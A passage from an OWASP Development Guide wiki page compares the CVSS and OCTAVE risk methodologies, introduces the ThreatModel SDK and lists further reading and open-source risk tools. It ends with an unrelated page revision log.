* You have just received notification from a security researcher or other source that your product has vulnerability, and you wish to ensure that it has an accurate and normalized severity rating, so as to alert your customers to the appropriate level of action required when you release the patch.
* You are a security researcher, and have found several threat exploits within an application. You would like to use the CVSS ranking system to produce reliable risk rankings, to ensure that the ISV will take the exploits seriously as indicated by their rating.
* CVSS has been recommended by the working group for use by US Government departments. However, it is unclear if it will become policy or be widely adopted at the time of this writing.
[[Category:FIXME|The first two are more scenarios than advantages]]

'''The limitations of CVSS:'''
* CVSS does not find or reduce the attack surface area (i.e. design flaws), or help enumerate risks within any arbitrary piece of code, as it is just a scoring system, not a modeling methodology.
* CVSS is more complex than STRIDE/DREAD, as it aims to calculate the risk of announced vulnerabilities as applied to deployed software and environmental factors.
* The CVSS risk ranking is complex – a spreadsheet is required to calculate the risk components as the assumption behind CVSS is that a specific vulnerability has been identified and announced, or a worm or Trojan has been released targeting a small number of attack vectors.
* The overhead of calculating the CVSS risk ranking is quite high if applied to a thorough code review, which may have 250 or more threats to rank.

=== OCTAVE ===
OCTAVE is a heavyweight risk methodology approach originating from Carnegie Mellon University’s Software Engineering Institute (SEI) in collaboration with CERT. OCTAVE focuses on organizational risk, not technical risk.
OCTAVE comes in two versions: Full OCTAVE, for large organizations, and OCTAVE-S for small organizations, both of which have specific catalogs of practices, profiles, and worksheets to document the modeling outcomes.

'''OCTAVE is popular with many sites and is useful when:'''
* Implementing an organizational culture of risk management and controls becomes necessary.
* Documenting and measuring business risk becomes timely.
* Documenting and measuring the overall IT security risk, particularly as it relates to the corporate IT risk management, becomes necessary.
* When documenting risks surrounding complete systems becomes necessary.
* To accommodate a fundamental reorganization, such as when an organization does not have a working risk methodology in place, and requires a robust risk management framework to be put in place.

'''The limitations of OCTAVE are:'''
* OCTAVE is incompatible with AS/NZS 4360, as it mandates Likelihood = 1 (i.e., It assumes a threat will always occur) and this is inappropriate for many organizations. OCTAVE-S makes the inclusion of this probability optional, but this is not part of the more comprehensive OCTAVE standard.
* Consisting of 18 volumes, OCTAVE is large and complex, with many worksheets and practices to implement.
* It does not provide a list of “out of the box” practices for assessing and mitigating web application security risks.

Because of these issues, OWASP does not anticipate that OCTAVE will be used at large by application designers or developers, because it fails to take threat risk modeling into consideration, which is useful during all stages of development, by all participants, to reduce the overall risk of an application becoming vulnerable to attack.

== ThreatModel SDK==

The ThreatModel SDK is a minimalistic Java library that provides a basic vendor-neutral object model along with the ability to parse reports generated from common threat modeling tools.
Supported Threat Modeling Tools:
*Microsoft Threat Modeling Tool 2016

Planned Threat Modeling Tools:
*Mozilla SeaSponge

For more information visit: https://github.com/stevespringett/threatmodel-sdk

== Conclusion ==
In this chapter, we have touched on the basic principles of threat risk modeling, risk management, and web application security. Applications that leverage the underlying intent of these principles will be more secure than their counterparts, which will only be minimally compliant just by including specific controls.

== Further Reading ==
* [http://www.microsoft.com/downloads/details.aspx?FamilyId=59888078-9DAF-4E96-B7D1-944703479451 Threat Analysis & Modeling v2.1.2], © Microsoft Corporation, 2007. [[category:FIXME |link not working, please replace]]
* [http://msdn.microsoft.com/library/ms978516.aspx Threat Modeling Web Applications], J.D. Meier, Alex Mackman, Blaine Wastell, © Microsoft Corporation, May 2005.
* [http://msdn.microsoft.com/library/ms994921.aspx Improving Web Application Security: Threats and Countermeasures], J.D. Meier, Alex Mackman, Michael Dunner, Srinath Vasireddy, Ray Escamilla and Anandha Murukan, © Microsoft Corporation, June 2003.
* [http://www.microsoft.com/downloads/details.aspx?FamilyID=62830f95-0e61-4f87-88a6-e7c663444ac1&displaylang=en Threat Modeling], Frank Swiderski and Window Snyder, Microsoft Press, June 2004, ISBN 0-7356-1991-3.
* Writing Secure Code, 2nd Edition, Howard and LeBlanc, (pp. 69 – 124), Microsoft Press, 2003, ISBN 0-7356-1722-8.
* [http://msdn.microsoft.com/library/ms954176.aspx The STRIDE Threat Model], © Microsoft Corporation, 2005.
* [http://blogs.msdn.com/david_leblanc/archive/2007/08/13/dreadful.aspx DREADful] - the DREAD system, © Microsoft Corporation, 2005.
* [http://dymaxion.org/trike/Trike_v1_Methodology_Document-draft.pdf A Conceptual Model for Threat Modeling Applications], Saitta, Larcom, and Michael Eddington, July 2005, http://dymaxion.org/trike/.
* [http://www.standards.co.nz/web-shop/?action=viewSearchProduct&mod=catalog&pid=4360:2004(AS|NZS) AS/NZS 4360:2004 Risk Management], Standards Australia and Standards New Zealand.
* [http://www.dhs.gov/interweb/assetlibrary/NIAC_CyberVulnerabilitiesPaper_Feb05.pdf CVSS], U.S. Department of Homeland Security library, February 2005. [[category:FIXME |link not working, please replace]]
* [http://www.cert.org/octave/ OCTAVE], CERT library.

== Appendix: Alternative open-source Risk Management tools ==
* [http://sourceforge.net/projects/osmr/ OSMR]
* [http://sourceforge.net/projects/marco/ MARCO]
* [http://sourceforge.net/projects/coras/ CORAS Risk Assessment Platform]
* [http://sourceforge.net/projects/ratiso17799/ ISO 17799 Risk Assessment Toolkit]
* [http://sourceforge.net/projects/easy-tra/ Easy Threat Risk Assessment]
* [http://sourceforge.net/projects/arms-17799/ ARMS]
* [http://sourceforge.net/projects/minaccia/ Minaccia]
* [http://sourceforge.net/projects/threatmind/ ThreatMind]
* [http://sourceforge.net/projects/osrmt/ Open Source Requirements Management Tool]

== Reference ==
[[Guide Table of Contents|Development Guide Table of Contents]]

[[Category:OWASP_Guide_Project]]
[[Category:Activity]]
[[Category:Externally Linked Page]]
[[Category:Threat_Modeling]]
[[Category:SAMM-TA-1]]

OWASP PenText Project

2016-09-16T09:55:20Z

Peter Mosmans: fixed links

OWASP PenText Project

2016-08-03T17:11:01Z

Peter Mosmans:

OWASP PenText Project

2016-07-21T12:16:32Z

Peter Mosmans: /* Contributors */

OWASP PenText Project

2016-07-21T10:57:36Z

Peter Mosmans: /* Technical information */

OWASP PenText Project

2016-07-21T10:55:30Z

Peter Mosmans: /* Contributors */

OWASP PenText Project

2016-07-21T10:43:09Z

Peter Mosmans: /* Contributors */

OWASP PenText Project

2016-07-21T10:39:51Z

Peter Mosmans: /* Roadmap */

OWASP PenText Project

2016-07-21T10:38:18Z

Peter Mosmans: /* Getting Involved */

OWASP PenText Project

2016-07-21T10:37:16Z

Peter Mosmans: /* Roadmap */

OWASP PenText Project

2016-07-21T10:36:45Z

Peter Mosmans: /* Coding */

OWASP PenText Project

2016-07-21T10:35:01Z

Peter Mosmans: /* Acknowledgements */

OWASP PenText Project

2016-07-21T10:30:44Z

Peter Mosmans: /* If I am not a programmer can I participate in your project? */

OWASP PenText Project

2016-07-21T10:30:10Z

Peter Mosmans: /* Minimum Viable Product */

OWASP PenText Project

2016-07-21T10:29:51Z

Peter Mosmans: /* Project About */

OWASP PenText Project

2016-07-21T10:26:23Z

Peter Mosmans: /* Road Map and Getting Involved */

OWASP PenText Project

2016-07-21T10:25:46Z

Peter Mosmans: /* Road Map and Getting Involved */

OWASP PenText Project

2016-07-21T10:25:28Z

Peter Mosmans:

OWASP PenText Project

2016-07-21T10:19:35Z

Peter Mosmans: /* Description */

OWASP PenText Project

2016-07-21T10:16:49Z

Peter Mosmans: /* Main */

OWASP PenText Project

2016-07-21T10:16:19Z

Peter Mosmans: /* News and Events */

OWASP PenText Project

2016-07-21T10:15:33Z

Peter Mosmans: /* FAQs */

OWASP PenText Project

2016-07-21T10:14:33Z

Peter Mosmans: /* Classifications */

OWASP PenText Project

2016-07-21T10:11:30Z

Peter Mosmans: /* Classifications */

OWASP PenText Project

2016-07-21T09:55:32Z

Peter Mosmans: /* Related Projects */

OWASP PenText Project

2016-07-21T09:55:21Z

Peter Mosmans: /* Project Resources */